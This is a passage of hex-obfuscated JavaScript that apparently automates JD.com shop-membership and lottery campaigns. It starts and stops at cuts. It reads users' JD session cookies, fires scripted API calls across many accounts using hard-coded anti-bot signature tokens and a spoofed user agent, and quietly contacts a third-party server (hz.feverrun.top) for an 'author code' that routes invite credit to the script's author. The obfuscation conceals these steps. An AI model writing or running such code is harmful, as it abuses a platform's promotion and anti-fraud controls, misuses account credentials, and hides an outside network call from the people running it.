\x69\x6E\x64\x42\x79\x56\x65\x72\x69\x66\x79\x43\x6F\x64\x65\x46\x6C\x61\x67\x22\x3A\x31\x2C\x22\x72\x65\x67\x69\x73\x74\x65\x72\x45\x78\x74\x65\x6E\x64\x22\x3A\x7B\x7D\x2C\x22\x77\x72\x69\x74\x65\x43\x68\x69\x6C\x64\x46\x6C\x61\x67\x22\x3A\x30\x2C\x22\x63\x68\x61\x6E\x6E\x65\x6C\x22\x3A\x34\x30\x36\x7D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x61\x70\x70\x69\x64\x3D\x6A\x64\x5F\x73\x68\x6F\x70\x5F\x6D\x65\x6D\x62\x65\x72\x26\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x62\x69\x6E\x64\x57\x69\x74\x68\x56\x65\x6E\x64\x65\x72\x26\x62\x6F\x64\x79\x3D","\x26\x63\x6C\x69\x65\x6E\x74\x3D\x48\x35\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x39\x2E\x32\x2E\x30\x26\x75\x75\x69\x64\x3D\x38\x38\x38\x38\x38\x26\x68\x35\x73\x74\x3D","\x74\x65\x78\x74\x2F\x70\x6C\x61\x69\x6E\x3B\x20\x43\x68\x61\x72\x73\x65\x74\x3D\x55\x54\x46\x2D\x38","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x2A\x2F\x2A","\x74\x6F\x4F\x62\x6A","\x72\x65\x73\x75\x6C\x74","\x67\x69\x66\x74\x49\x6E\x66\x6F","\x67\x69\x66\x74\x4C\x69\x73\x74","\u5165\u4F1A\u83B7\u5F97\x3A","\x64\x69\x73\x63\x6F\x75\x6E\x74\x53\x74\x72\x69\x6E\x67","\x70\x72\x69\x7A\x65\x4E\x61\x6D\x65","\x73\x65\x63\x6F\x6E\x64\x4C\x69\x6E\x65\x44\x65\x73\x63","\x67\x65\x74","\x79\x79\x79\x79\x4D\x4D\x64\x64\x68\x68\x6D\x6D\x73\x73\x53\x53\x53","\x3B","\x3B\x65\x66\x37\x39\x61\x3B\x74\x6B\x30\x32\x77\x37\x31\x34\x31\x31\x61\x39\x65\x31\x38\x6E\x38\x6A\x6D\x6D\x44\x4B\x48\x4D\x35\x71\x59\x32\x47\x51\x45\x48\x4E\x38\x4D\x45\x44\x6E\x78\x6E\x4D\x4E\x42\x56\x55\x47\x56\x49\x74\x52\x65\x65\x54\x33\x30\x46\x78\x41\x33\x4E\x49\x6F\x49\x6A\x71\x70\x57\x54\x37\x54\x65\x38\x62\x46\x33\x37\x46\x4A\x32\x57\x2B\x57\x7A\x69\x69\x78\x4C\x48\x68\x46\x30\x31\x3B\x33\x39\x32\x63\x66\x39\x62\x61\x64\x65\x34\x65\x31\x62\x30\x32\x65\x36\x66\x61\x38\x33\x63\x31\x64\x34\x37\x64\x37\x66\x31\x32\x34\x35\x65\x35\x61\x37\x61\x65\x39\x65\x62\x39\x32\x36\x34\x35\x31\x34\x32\x32\x37\x61\x64\x36\x66\x39\x33\x35\x64\x66\x39\x65\x3B\x33\x2E\x30\x3B","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x61\x70\x70\x69\x64\x3D\x6A\x64\x5F\x73\x68\x6F\x70\x5F\x6D\x65\x6D\x62\x65\x72\x26\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x67\x65\x74\x53\x68\x6F\x70\x4F\x70\x65\x6E\x43\x61\x72\x64\x49\x6E\x66\x6F\x26\x62\x6F\x64\x79\x3D\x25\x37\x42\x25\x32\x32\x76\x65\x6E\x64\x65\x72\x49\x64\x25\x32\x32\x25\x33\x41\x25\x32\x32","\x25\x32\x32\x25\x32\x43\x25\x32\x32\x63\x68\x61\x6E\x6E\x65\x6C\x25\x32\x32\x25\x33\x41\x34\x30\x31\x25\x37\x44\x26\x63\x6C\x69\x65\x6E\x74\x3D\x48\x35\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x39\x2E\x32\x2E\x30\x26\x75\x75\x69\x64\x3D\x38\x38\x38\x38\x38\x26\x68\x35\x73\x74\x3D","\u5165\u4F1A\x3A","\x76\x65\x6E\x64\x65\x72\x43\x61\x72\x64\x4E\x61\x6D\x65","\x73\x68\x6F\x70\x4D\x65\x6D\x62\x65\x72\x43\x61\x72\x64\x49\x6E\x66\x6F","\x69\x6E\x74\x65\x72\x65\x73\x74\x73\x52\x75\x6C\x65\x4C\x69\x73\x74","\x69\x6E\x74\x65\x72\x65\x73\x74\x73\x49\x6E\x66\x6F","\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64","\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39","\x73\x6C\x69\x63\x65","\x3B\x65\x66\x37\x39\x61\x3B\x74\x6B\x30\x32\x77\x39\x39\x62\x63\x31\x62\x39\x38\x31\x38\x6E\x38\x75\x46\x68\x52\x38\x6B\x73\x33\x72\x79\x51\x57\x4D\x4F\x5A\x7A\x6A\x70\x44\x56\x43\x49\x4E\x4A\x4A\x48\x38\x61\x50\x30\x79\x32\x52\x57\x46\x4C\x69\x4A\x42\x6D\x4C\x6B\x33\x5A\x37\x6A\x39\x72\x68\x6D\x35\x63\x6A\x37\x44\x4E\x30\x77\x39\x6D\x49\x48\x65\x73\x71\x6F\x6D\x75\x30\x42\x34\x36\x68\x30\x68\x3B\x35\x61\x62\x35\x65\x66\x64\x35\x64\x63\x37\x63\x33\x64\x35\x32\x64\x64\x31\x39\x61\x38\x65\x61\x61\x62\x63\x37\x62\x63\x39\x39\x63\x31\x62\x39\x64\x62\x38\x30\x30\x61\x34\x32\x30\x38\x62\x61\x31\x31\x34\x32\x63\x38\x61\x37\x63\x37\x62\x66\x38\x35\x32\x65\x3B\x33\x2E\x30\x3B","\x3B\x31\x36\x39\x66\x31\x3B\x74\x6B\x30\x32\x77\x63\x30\x66\x39\x31\x63\x38\x61\x31\x38\x6E\x76\x57\x56\x4D\x47\x72\x51\x4F\x31\x69\x46\x6C\x70\x51\x72\x65\x32\x53\x68\x32\x6D\x47\x74\x4E\x72\x6F\x31\x6C\x30\x55\x70\x5A\x71\x47\x4C\x52\x62\x48\x69\x79\x71\x66\x61\x55\x51\x61\x50\x79\x36\x34\x57\x54\x37\x75\x7A\x37\x45\x2F\x67\x75\x6A\x47\x41\x42\x35\x30\x6B\x79\x4F\x37\x68\x77\x42\x79\x57\x4B\x3B\x37\x37\x63\x38\x61\x30\x35\x65\x36\x61\x36\x36\x66\x61\x65\x65\x64\x30\x30\x65\x34\x65\x32\x38\x30\x61\x64\x38\x63\x34\x30\x66\x61\x62\x36\x30\x37\x32\x33\x62\x35\x62\x35\x36\x31\x32\x33\x30\x33\x38\x30\x65\x62\x34\x30\x37\x65\x31\x39\x33\x35\x34\x66\x37\x3B\x33\x2E\x30\x3B","\x3B\x65\x66\x37\x39\x61\x3B\x74\x6B\x30\x32\x77\x39\x32\x36\x33\x31\x62\x66\x61\x31\x38\x6E\x68\x44\x34\x75\x62\x66\x33\x51\x66\x4E\x69\x55\x38\x45\x44\x32\x50\x49\x32\x37\x30\x79\x67\x73\x6E\x2B\x76\x61\x6D\x75\x42\x51\x68\x30\x6C\x56\x45\x36\x76\x37\x55\x41\x77\x63\x6B\x7A\x33\x73\x32\x4F\x74\x6C\x46\x45\x66\x74\x68\x35\x4C\x62\x51\x64\x57\x4F\x50\x4E\x76\x50\x45\x59\x48\x75\x55\x32\x54\x77\x3B\x30\x66\x33\x36\x64\x64\x64\x65\x66\x66\x33\x66\x38\x37\x38\x36\x36\x36\x33\x62\x35\x30\x62\x62\x33\x34\x36\x36\x35\x63\x34\x65\x39\x64\x36\x30\x38\x35\x39\x66\x38\x66\x62\x65\x38\x32\x32\x66\x62\x35\x35\x66\x64\x30\x32\x65\x64\x32\x65\x38\x34\x66\x64\x32\x3B\x33\x2E\x30\x3B","\x46\x6F\x72\x6D\x61\x74","\x70\x72\x6F\x74\x6F\x74\x79\x70\x65","\x67\x65\x74\x4D\x6F\x6E\x74\x68","\x67\x65\x74\x44\x61\x74\x65","\x67\x65\x74\x48\x6F\x75\x72\x73","\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x67\x65\x74\x53\x65\x63\x6F\x6E\x64\x73","\x67\x65\x74\x44\x61\x79","\x67\x65\x74\x4D\x69\x6C\x6C\x69\x73\x65\x63\x6F\x6E\x64\x73","\x74\x65\x73\x74","\x24\x31","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x46\x75\x6C\x6C\x59\x65\x61\x72","\x63\x6F\x6E\x63\x61\x74","\x28","\x53\x2B","\x30\x30\x30","\x30\x30","\x68\x74\x74\x70\x3A\x2F\x2F\x68\x7A\x2E\x66\x65\x76\x65\x72\x72\x75\x6E\x2E\x74\x6F\x70\x3A\x39\x39\x2F\x73\x68\x61\x72\x65\x2F\x61\x75\x74\x68\x6F\x72\x2F\x6A\x69\x6E\x67\x67\x65\x6E\x67\x6A\x63\x71\x3F\x5F\x74\x3D","\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x57\x69\x6E\x64\x6F\x77\x73\x20\x4E\x54\x20\x32\x30\x2E\x30\x3B\x20\x57\x69\x6E\x36\x34\x3B\x20\x78\x36\x34\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x35\x33\x37\x2E\x33\x36\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x43\x68\x72\x6F\x6D\x65\x2F\x31\x30\x33\x2E\x30\x2E\x30\x2E\x30\x20\x53\x61\x66\x61\x72\x69\x2F\x35\x33\x37\x2E\x33\x36","\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF","\x3F\x76\x65\x6E\x64\x65\x72\x69\x64\x3D","\x3F\x74\x79\x70\x65\x3D\x6A\x69\x6E\x67\x67\x65\x6E\x67\x6A\x63\x71","\x63\x6F\x64\x65","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const CryptoJS=require(__Oxef3e3[0x0]);let cookiesArr=[],cookie=__Oxef3e3[0x1];let dplh_actId=__Oxef3e3[0x1];let dplh_drawNum=3;let tryNum=8;let ver1=__Oxef3e3[0x2];let ver2=__Oxef3e3[0x3];let url1=__Oxef3e3[0x4];let url2=__Oxef3e3[0x5];if($[__Oxef3e3[0x6]]()){Object[__Oxef3e3[0x9]](jdCookieNode)[__Oxef3e3[0x8]]((_0xb3c0xb)=>{cookiesArr[__Oxef3e3[0x7]](jdCookieNode[_0xb3c0xb])});if(process[__Oxef3e3[0xb]][__Oxef3e3[0xa]]){dplh_actId= process[__Oxef3e3[0xb]][__Oxef3e3[0xa]]};if(process[__Oxef3e3[0xb]][__Oxef3e3[0xc]]){dplh_drawNum= parseInt(process[__Oxef3e3[0xb]].DPLHTY_DRAWNUM)};if(process[__Oxef3e3[0xb]][__Oxef3e3[0xd]]&& process[__Oxef3e3[0xb]][__Oxef3e3[0xd]]=== __Oxef3e3[0xe]){console[__Oxef3e3[0xf]]= ()=>{}}}else {cookiesArr= [$[__Oxef3e3[0x12]](__Oxef3e3[0x11]),$[__Oxef3e3[0x12]](__Oxef3e3[0x13]),...jsonParse($[__Oxef3e3[0x12]](__Oxef3e3[0x16])|| __Oxef3e3[0x17])[__Oxef3e3[0x15]]((_0xb3c0xb)=>{return _0xb3c0xb[__Oxef3e3[0x14]]})][__Oxef3e3[0x10]]((_0xb3c0xb)=>{return !!_0xb3c0xb})};allMessage= __Oxef3e3[0x1],message= __Oxef3e3[0x1];$[__Oxef3e3[0x18]]= false;$[__Oxef3e3[0x19]]= false;$[__Oxef3e3[0x1a]]= false;$[__Oxef3e3[0x1b]]= false;$[__Oxef3e3[0x1c]]= false;$[__Oxef3e3[0x1d]]= __Oxef3e3[0x1];$[__Oxef3e3[0x1e]]= 0;let lz_jdpin_token_cookie=__Oxef3e3[0x1];let activityCookie=__Oxef3e3[0x1];let tryBandingNum=0;let tryMissionNum=0;let flagg=false;let flag=false;!(async ()=>{if(!cookiesArr[0x0]){$[__Oxef3e3[0x26]]($[__Oxef3e3[0x23]],__Oxef3e3[0x24],__Oxef3e3[0x25],{"\x6F\x70\x65\x6E\x2D\x75\x72\x6C":__Oxef3e3[0x25]});return};if(!dplh_actId){console[__Oxef3e3[0xf]](`${__Oxef3e3[0x27]}`);console[__Oxef3e3[0xf]](`${__Oxef3e3[0x28]}`);return}else {console[__Oxef3e3[0xf]](`${__Oxef3e3[0x29]}${dplh_actId}${__Oxef3e3[0x1]}`)}; await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 1500+ 500,10)); await getAuthorCode(); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500,10));$[__Oxef3e3[0x1d]]= $[__Oxef3e3[0x1d]][__Oxef3e3[0x2d]](__Oxef3e3[0x2c],__Oxef3e3[0x1]);$[__Oxef3e3[0x1d]]= $[__Oxef3e3[0x1d]][__Oxef3e3[0x2d]](__Oxef3e3[0x2e],__Oxef3e3[0x2f]);$[__Oxef3e3[0x30]]= `${__Oxef3e3[0x1]}${$[__Oxef3e3[0x1d]]}${__Oxef3e3[0x1]}`;$[__Oxef3e3[0x31]]= __Oxef3e3[0x32];$[__Oxef3e3[0x33]]= __Oxef3e3[0x34];$[__Oxef3e3[0x35]]= dplh_actId;$[__Oxef3e3[0x36]]= __Oxef3e3[0x1];for(let _0xb3c0x13=0;_0xb3c0x13< cookiesArr[__Oxef3e3[0x37]];_0xb3c0x13++){cookie= cookiesArr[_0xb3c0x13];if(cookie){$[__Oxef3e3[0x38]]= decodeURIComponent(cookie[__Oxef3e3[0x39]](/pt_pin=([^; ]+)(?=;?)/)&& cookie[__Oxef3e3[0x39]](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[__Oxef3e3[0x3a]]= _0xb3c0x13+ 1;message= __Oxef3e3[0x1];$[__Oxef3e3[0x3b]]= 0;$[__Oxef3e3[0x18]]= false;$[__Oxef3e3[0x19]]= false;$[__Oxef3e3[0x3c]]= __Oxef3e3[0x1];console[__Oxef3e3[0xf]](`${__Oxef3e3[0x3d]}${$[__Oxef3e3[0x3a]]}${__Oxef3e3[0x3e]}${$[__Oxef3e3[0x3c]]|| $[__Oxef3e3[0x38]]}${__Oxef3e3[0x3f]}`); await getUA(); await run();if(_0xb3c0x13== 0&& !$[__Oxef3e3[0x40]]){$[__Oxef3e3[0x30]]= $[__Oxef3e3[0x1d]]};if($[__Oxef3e3[0x19]]|| $[__Oxef3e3[0x1a]]){break}; await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 5500+ 2500),10)}};if($[__Oxef3e3[0x19]]){let _0xb3c0x14=__Oxef3e3[0x41];$[__Oxef3e3[0x26]]($[__Oxef3e3[0x23]],`${__Oxef3e3[0x1]}`,`${__Oxef3e3[0x1]}${_0xb3c0x14}${__Oxef3e3[0x1]}`);if($[__Oxef3e3[0x6]]()){ await notify[__Oxef3e3[0x42]](`${__Oxef3e3[0x1]}${$[__Oxef3e3[0x23]]}${__Oxef3e3[0x1]}`,`${__Oxef3e3[0x1]}${_0xb3c0x14}${__Oxef3e3[0x1]}`)}}})()[__Oxef3e3[0x22]]((_0xb3c0x12)=>{return $[__Oxef3e3[0x21]](_0xb3c0x12)})[__Oxef3e3[0x20]](()=>{return $[__Oxef3e3[0x1f]]()});async function run(){try{$[__Oxef3e3[0x43]]= false;$[__Oxef3e3[0x44]]= 0;lz_jdpin_token_cookie= __Oxef3e3[0x1];$[__Oxef3e3[0x45]]= __Oxef3e3[0x1];$[__Oxef3e3[0x46]]= __Oxef3e3[0x1];$[__Oxef3e3[0x40]]= __Oxef3e3[0x1];flag= false;flagg= false;tryBandingNum= 0;tryMissionNum= 0;$[__Oxef3e3[0x1b]]= false;$[__Oxef3e3[0x1c]]= false;$[__Oxef3e3[0x1a]]= false; await takePostRequest(__Oxef3e3[0x47]); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 1000),10);if($[__Oxef3e3[0x45]]== __Oxef3e3[0x1]){console[__Oxef3e3[0xf]](__Oxef3e3[0x48]);return}; await takePostRequest(__Oxef3e3[0x49]);tryBandingNum= 0;while($[__Oxef3e3[0x1b]]== true){tryBandingNum++;console[__Oxef3e3[0xf]](`${__Oxef3e3[0x4a]}${tryBandingNum}${__Oxef3e3[0x4b]}`); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500,10)); await takePostRequest(__Oxef3e3[0x49]);if(tryBandingNum>= tryNum){break}};$[__Oxef3e3[0x1b]]= false;if($[__Oxef3e3[0x19]]){console[__Oxef3e3[0xf]](__Oxef3e3[0x4c]);return};if($[__Oxef3e3[0x18]]){return};if($[__Oxef3e3[0x44]]&& (Date[__Oxef3e3[0x4d]]()> $[__Oxef3e3[0x44]])){$[__Oxef3e3[0x40]]= __Oxef3e3[0x1];$[__Oxef3e3[0x1a]]= true;console[__Oxef3e3[0xf]](__Oxef3e3[0x4e]);return};if($[__Oxef3e3[0x40]]== __Oxef3e3[0x1]){console[__Oxef3e3[0xf]](`${__Oxef3e3[0x4f]}`);return};$[__Oxef3e3[0x50]]= 0; await takePostRequest(__Oxef3e3[0x51]);tryBandingNum= 0;while($[__Oxef3e3[0x1b]]== true){tryBandingNum++;console[__Oxef3e3[0xf]](`${__Oxef3e3[0x4a]}${tryBandingNum}${__Oxef3e3[0x4b]}`); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500,10)); await takePostRequest(__Oxef3e3[0x51]);if(tryBandingNum>= tryNum){break}};$[__Oxef3e3[0x1b]]= false; await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500,10)); await takePostRequest(__Oxef3e3[0x52]);tryBandingNum= 0;while($[__Oxef3e3[0x1b]]== true){tryBandingNum++;console[__Oxef3e3[0xf]](`${__Oxef3e3[0x4a]}${tryBandingNum}${__Oxef3e3[0x4b]}`); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500,10)); await takePostRequest(__Oxef3e3[0x52]);if(tryBandingNum>= tryNum){break}};$[__Oxef3e3[0x1b]]= false;if($[__Oxef3e3[0x1a]]){return};console[__Oxef3e3[0xf]](`${__Oxef3e3[0x53]}${$[__Oxef3e3[0x54]]}${__Oxef3e3[0x1]}`);console[__Oxef3e3[0xf]](`${__Oxef3e3[0x55]}${$[__Oxef3e3[0x56]]}${__Oxef3e3[0x1]}`);if($[__Oxef3e3[0x56]]){console[__Oxef3e3[0xf]](`${__Oxef3e3[0x57]}${$[__Oxef3e3[0x56]][__Oxef3e3[0x37]]}${__Oxef3e3[0x58]}`);for(o of $[__Oxef3e3[0x56]]){flag= true;$[__Oxef3e3[0x59]]= __Oxef3e3[0x5a];$[__Oxef3e3[0x5a]]= false;$[__Oxef3e3[0x5b]]= o;console[__Oxef3e3[0xf]](`${__Oxef3e3[0x5c]}${o}${__Oxef3e3[0x1]}`);tryMissionNum= 0; await takePostRequest(__Oxef3e3[0x5d]); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500,10));while($[__Oxef3e3[0x1c]]== true){tryMissionNum++;console[__Oxef3e3[0xf]](`${__Oxef3e3[0x4a]}${tryMissionNum}${__Oxef3e3[0x4b]}`); await takePostRequest(__Oxef3e3[0x5d]); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500,10));if(tryMissionNum>= tryNum){break}}; await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500,10)); await joinShop();if($[__Oxef3e3[0x60]][__Oxef3e3[0x5f]](__Oxef3e3[0x5e])> -1|| $[__Oxef3e3[0x60]][__Oxef3e3[0x5f]](__Oxef3e3[0x61])> -1){console[__Oxef3e3[0xf]](__Oxef3e3[0x62]); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 1500+ 500,10)); await joinShop(); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2000+ 1000,10))};if($[__Oxef3e3[0x60]][__Oxef3e3[0x5f]](__Oxef3e3[0x5e])> -1|| $[__Oxef3e3[0x60]][__Oxef3e3[0x5f]](__Oxef3e3[0x61])> -1){console[__Oxef3e3[0xf]](__Oxef3e3[0x63]); await joinShop(); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2000+ 1000,10))};if($[__Oxef3e3[0x60]][__Oxef3e3[0x5f]](__Oxef3e3[0x5e])> -1|| $[__Oxef3e3[0x60]][__Oxef3e3[0x5f]](__Oxef3e3[0x61])> -1){console[__Oxef3e3[0xf]](__Oxef3e3[0x64]); await joinShop(); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2000+ 1000,10))}; await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 500+ 500,10)); await takePostRequest(__Oxef3e3[0x49]);tryBandingNum= 0;while($[__Oxef3e3[0x1b]]== true){tryBandingNum++;console[__Oxef3e3[0xf]](`${__Oxef3e3[0x4a]}${tryBandingNum}${__Oxef3e3[0x4b]}`); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500,10)); await takePostRequest(__Oxef3e3[0x49]);if(tryBandingNum>= tryNum){break}};$[__Oxef3e3[0x1b]]= false}};$[__Oxef3e3[0x5b]]= __Oxef3e3[0x1];if($[__Oxef3e3[0x65]]=== 0){flagg= true;tryMissionNum= 0;$[__Oxef3e3[0x59]]= __Oxef3e3[0x66]; await takePostRequest(__Oxef3e3[0x5d]); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 1000,10));while($[__Oxef3e3[0x1c]]== true){tryMissionNum++;console[__Oxef3e3[0xf]](`${__Oxef3e3[0x4a]}${tryMissionNum}${__Oxef3e3[0x4b]}`); await takePostRequest(__Oxef3e3[0x5d]); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500,10));if(tryMissionNum>= tryNum){break}};$[__Oxef3e3[0x1c]]= false}else {console[__Oxef3e3[0xf]](__Oxef3e3[0x67]);if(flag== true){flagg= true;tryMissionNum= 0;$[__Oxef3e3[0x59]]= __Oxef3e3[0x66]; await takePostRequest(__Oxef3e3[0x5d]); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 1000,10));while($[__Oxef3e3[0x1c]]== true){tryMissionNum++;console[__Oxef3e3[0xf]](`${__Oxef3e3[0x4a]}${tryMissionNum}${__Oxef3e3[0x4b]}`); await takePostRequest(__Oxef3e3[0x5d]); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500,10));if(tryMissionNum>= tryNum){break}};$[__Oxef3e3[0x1c]]= false}};if(flagg== true){tryMissionNum= 0;$[__Oxef3e3[0x59]]= __Oxef3e3[0x68]; await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500,10)); await takePostRequest(__Oxef3e3[0x5d]); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500,10));while($[__Oxef3e3[0x1c]]== true){tryMissionNum++;console[__Oxef3e3[0xf]](`${__Oxef3e3[0x4a]}${tryMissionNum}${__Oxef3e3[0x4b]}`); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500,10)); await takePostRequest(__Oxef3e3[0x5d]);if(tryMissionNum>= tryNum){break}};$[__Oxef3e3[0x1c]]= false; await takePostRequest(__Oxef3e3[0x49]); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500),10)};$[__Oxef3e3[0x69]]= true;let _0xb3c0x16=parseInt($[__Oxef3e3[0x1e]],10)?parseInt($[__Oxef3e3[0x1e]],10):3;console[__Oxef3e3[0xf]](`${__Oxef3e3[0x6a]}${_0xb3c0x16}${__Oxef3e3[0x1]}`);console[__Oxef3e3[0xf]](`${__Oxef3e3[0x6b]}`);for(ii= 0;ii< _0xb3c0x16;ii++){if(parseInt(parseInt($[__Oxef3e3[0x1e]],10))<= 0){break};if(parseInt(dplh_drawNum)== 0){break};console[__Oxef3e3[0xf]](`${__Oxef3e3[0x6c]}${ii+ 1}${__Oxef3e3[0x6d]}`); await takePostRequest(__Oxef3e3[0x6e]);if($[__Oxef3e3[0x69]]== false){break};if(dplh_drawNum>= _0xb3c0x16){dplh_drawNum= _0xb3c0x16};if((ii+ 1)> dplh_drawNum){console[__Oxef3e3[0xf]](`${__Oxef3e3[0x6f]}`);break}; await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 1800,10))}; await takePostRequest(__Oxef3e3[0x70]); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500),10); await takePostRequest(__Oxef3e3[0x71]); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 500),10);console[__Oxef3e3[0xf]]($.MixNick);console[__Oxef3e3[0xf]](`${__Oxef3e3[0x72]}${$[__Oxef3e3[0x30]]}${__Oxef3e3[0x1]}`);if($[__Oxef3e3[0x3a]]== 1){$[__Oxef3e3[0x30]]= $[__Oxef3e3[0x40]];console[__Oxef3e3[0xf]](`${__Oxef3e3[0x73]}${$[__Oxef3e3[0x30]]}${__Oxef3e3[0x1]}`)}; await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 2500+ 2500,10))}catch(e){console[__Oxef3e3[0xf]](e)}}async function takePostRequest(_0xb3c0x18){if($[__Oxef3e3[0x19]]){return};let _0xb3c0x19=__Oxef3e3[0x74];let _0xb3c0x1a=`${__Oxef3e3[0x1]}`;let _0xb3c0x1b=__Oxef3e3[0x75];let _0xb3c0x1c=__Oxef3e3[0x1];switch(_0xb3c0x18){case __Oxef3e3[0x47]:url= `${__Oxef3e3[0x76]}`;_0xb3c0x1a= await getToken();break;case __Oxef3e3[0x49]:url= `${__Oxef3e3[0x1]}${_0xb3c0x19}${__Oxef3e3[0x77]}${$[__Oxef3e3[0x40]]|| $[__Oxef3e3[0x36]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}`;_0xb3c0x1c= {"\x6A\x64\x54\x6F\x6B\x65\x6E":$[__Oxef3e3[0x45]],"\x73\x6F\x75\x72\x63\x65":__Oxef3e3[0x78],"\x69\x6E\x76\x69\x74\x65\x4E\x69\x63\x6B":($[__Oxef3e3[0x30]]|| __Oxef3e3[0x1])};if($[__Oxef3e3[0x5b]]){_0xb3c0x1c= {..._0xb3c0x1c,"\x73\x68\x6F\x70\x49\x64":`${__Oxef3e3[0x1]}${$[__Oxef3e3[0x5b]]}${__Oxef3e3[0x1]}`}};_0xb3c0x1a= taskPostUrl(__Oxef3e3[0x79],_0xb3c0x1c);break;case __Oxef3e3[0x7c]:url= `${__Oxef3e3[0x1]}${_0xb3c0x19}${__Oxef3e3[0x7a]}${$[__Oxef3e3[0x40]]|| $[__Oxef3e3[0x36]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}`;_0xb3c0x1c= {};_0xb3c0x1a= taskPostUrl(__Oxef3e3[0x7b],_0xb3c0x1c);break;case __Oxef3e3[0x52]:url= `${__Oxef3e3[0x1]}${_0xb3c0x19}${__Oxef3e3[0x7d]}${$[__Oxef3e3[0x40]]|| $[__Oxef3e3[0x36]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x7e]}${$[__Oxef3e3[0x33]]}${__Oxef3e3[0x1]}`;_0xb3c0x1c= {};_0xb3c0x1a= taskPostUrl(__Oxef3e3[0x7f],_0xb3c0x1c);break;case __Oxef3e3[0x51]:url= `${__Oxef3e3[0x1]}${_0xb3c0x19}${__Oxef3e3[0x80]}${$[__Oxef3e3[0x40]]|| $[__Oxef3e3[0x36]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}`;_0xb3c0x1c= {"\x6D\x69\x73\x73\x69\x6F\x6E\x54\x79\x70\x65":__Oxef3e3[0x81],"\x69\x6E\x76\x69\x74\x65\x72\x4E\x69\x63\x6B":($[__Oxef3e3[0x30]]|| __Oxef3e3[0x1])};_0xb3c0x1a= taskPostUrl(__Oxef3e3[0x82],_0xb3c0x1c);break;case __Oxef3e3[0x5d]:url= 